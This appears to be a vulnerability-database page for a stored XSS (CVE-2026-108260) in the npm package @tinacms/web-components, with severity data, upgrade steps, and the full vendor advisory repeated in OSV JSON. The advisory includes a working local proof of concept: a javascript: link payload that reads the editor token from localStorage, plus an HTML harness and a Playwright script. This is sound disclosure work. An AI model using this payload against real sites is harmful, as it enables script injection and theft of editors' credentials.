Vulnerabilities in pkg:npm/@tinacms/web-components

PACKAGE
Advisory Identifier: GHSA-c42q-qvc3-j6vg
Advisory Summary

CVE-2026-108260 is a HIGH (CVSS 7.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @tinacms/web-components libraries in the npm ecosystem. The issue involves `tina-markdown` writes rich-text link urls into `href` without scheme validation, allowing stored xss. Remediation is available by upgrading affected packages to version 0.2.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@tinacms/web-components

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@tinacms/web-components. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-c42q-qvc3-j6vg CVE-2026-108260 HIGH @tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS

CVE-2026-108260 at a Glance

CVE Identifier CVE-2026-108260
GHSA Identifier GHSA-c42q-qvc3-j6vg
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @tinacms/web-components
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-108260

To remediate this vulnerability, upgrade all affected @tinacms/web-components dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/web-components fixed: 0.2.1
npm install @tinacms/web-components@0.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/web-components

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-108260, inspect your project dependencies using npm:

npm ls @tinacms/web-components

Analyze the terminal output to locate any version of @tinacms/web-components in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.1), your application is affected.

Note: The npm ls @tinacms/web-components command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @tinacms/web-components, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not. ### Details The unvalidated sink: ``` packages/@tinacms/web-components/src/tina-markdown.js:67-69 if (node.type === 'html' || node.type === 'html_inline') { return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true }); } packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url; packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url; ``` `node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation. The guard that exists in every sibling renderer: ``` packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../> packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../> packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}> packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../> ``` `tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize. That this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of "matching the `components` prop on the React and Astro renderers" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way. Default-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting. Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation: ```js import { sanitizeUrl } from '@tinacms/mdx/sanitize-url'; if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url); if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url); ``` Variant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`. ### PoC Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable. Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`. **Setup** ```bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0 cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts ``` `entry.js`: ```js import './tina-markdown.js'; // registers <tina-markdown> import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control window.__sanitizeUrl = sanitizeUrl; ``` `site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`: ```html <!doctype html><html><head><title>public site rendering CMS rich-text</title></head> <body> <h1>Site page</h1> <div id="host"></div> <script type="module" src="/bundle.js"></script> <script type="module"> const ast = { type: 'root', children: [ { type: 'p', children: [ { type: 'a', url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", children: [{ type: 'text', text: 'click me' }] } ]} ] }; // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and // value are written by packages/tinacms/src/internalClient/authProvider.ts:117. localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN'); const el = document.createElement('tina-markdown'); el.setAttribute('content', JSON.stringify(ast)); document.getElementById('host').appendChild(el); window.__ready = true; </script> </body></html> ``` `run.cjs`: ```js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const PORT=8811, DIR=path.join(__dirname,'site'); const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0]; const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'}); res.end(fs.readFileSync(f));}); (async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'}); const page=await browser.newPage(); await page.goto(`http://127.0.0.1:${PORT}/`); await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300); const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a'); return {hrefAttr:a&&a.getAttribute('href')};}); await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click()); await page.waitForTimeout(500); const pwned=await page.evaluate(()=>window.__pwned||null); const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain")); console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null, capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2)); await browser.close(); srv.close();})(); ``` **Run** ```bash cd /tmp/tina-tm npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts node run.cjs ``` **Observed output (captured verbatim)** ```json { "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", "scriptExecutedOnClick": true, "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN", "control_sanitizeUrl_output": "" } ``` Expected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held. Control — `control_sanitizeUrl_output` is `""`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness. Second control, internal to the same file: an `html` node carrying `<a href="javascript:alert(1)">x</a>` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not. **Cleanup** ```bash rm -rf /tmp/tina-tm ``` The PoC was re-run after this report was drafted; the JSON above is that run. ### Impact Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it. Impacted: any site rendering TinaCMS rich-text through `<tina-markdown>`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

CVE-2026-108260 Affected @tinacms/web-components Versions

1 component(s)
Fixed Versions:
0.2.1
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/web-components
npm
< 0.2.1
0.2.1

References

Frequently Asked Questions

What is CVE-2026-108260?
CVE-2026-108260 is a security vulnerability in @tinacms/web-components involving `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @tinacms/web-components versions are affected?
Affected versions include releases prior to 0.2.1 across affected packages: @tinacms/web-components.
What version fixes CVE-2026-108260?
Upgrading to 0.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/web-components affected?
Yes, @tinacms/web-components is affected in releases prior to 0.2.1. Upgrade your dependency to 0.2.1 or later.
What is the CVSS score of CVE-2026-108260?
CVE-2026-108260 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-108260?
CVE-2026-108260 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-108260?
Run the dependency tree command: 'npm ls @tinacms/web-components'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c42q-qvc3-j6vg",
  "modified" : "2026-10-09T20:56:45Z",
  "published" : "2026-10-09T20:56:45Z",
  "aliases" : [ "CVE-2026-108260" ],
  "summary" : "@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS",
  "details" : "### Summary\n\n`<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === 'html' || node.type === 'html_inline') {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']\npackages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>\npackages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>\npackages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>\npackages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.\n\nDefault-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from '@tinacms/mdx/sanitize-url';\nif (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);\nif (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm\nnpm init -y >/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport './tina-markdown.js';                       // registers <tina-markdown>\nimport { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:\n\n```html\n<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>\n<body>\n<h1>Site page</h1>\n<div id=\"host\"></div>\n<script type=\"module\" src=\"/bundle.js\"></script>\n<script type=\"module\">\n  const ast = {\n    type: 'root',\n    children: [\n      { type: 'p', children: [\n        { type: 'a',\n          url: \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n          children: [{ type: 'text', text: 'click me' }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');\n  const el = document.createElement('tina-markdown');\n  el.setAttribute('content', JSON.stringify(ast));\n  document.getElementById('host').appendChild(el);\n  window.__ready = true;\n</script>\n</body></html>\n```\n\n`run.cjs`:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst PORT=8811, DIR=path.join(__dirname,'site');\nconst srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});\n res.end(fs.readFileSync(f));});\n(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');\n   return {hrefAttr:a&&a.getAttribute('href')};});\n await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=>window.__pwned||null);\n const control=await page.evaluate(()=>window.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held.\n\nControl — `control_sanitizeUrl_output` is `\"\"`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `<a href=\"javascript:alert(1)\">x</a>` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `<tina-markdown>`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/web-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7523"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-83" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:56:45Z",
    "nvd_published_at" : null
  }
}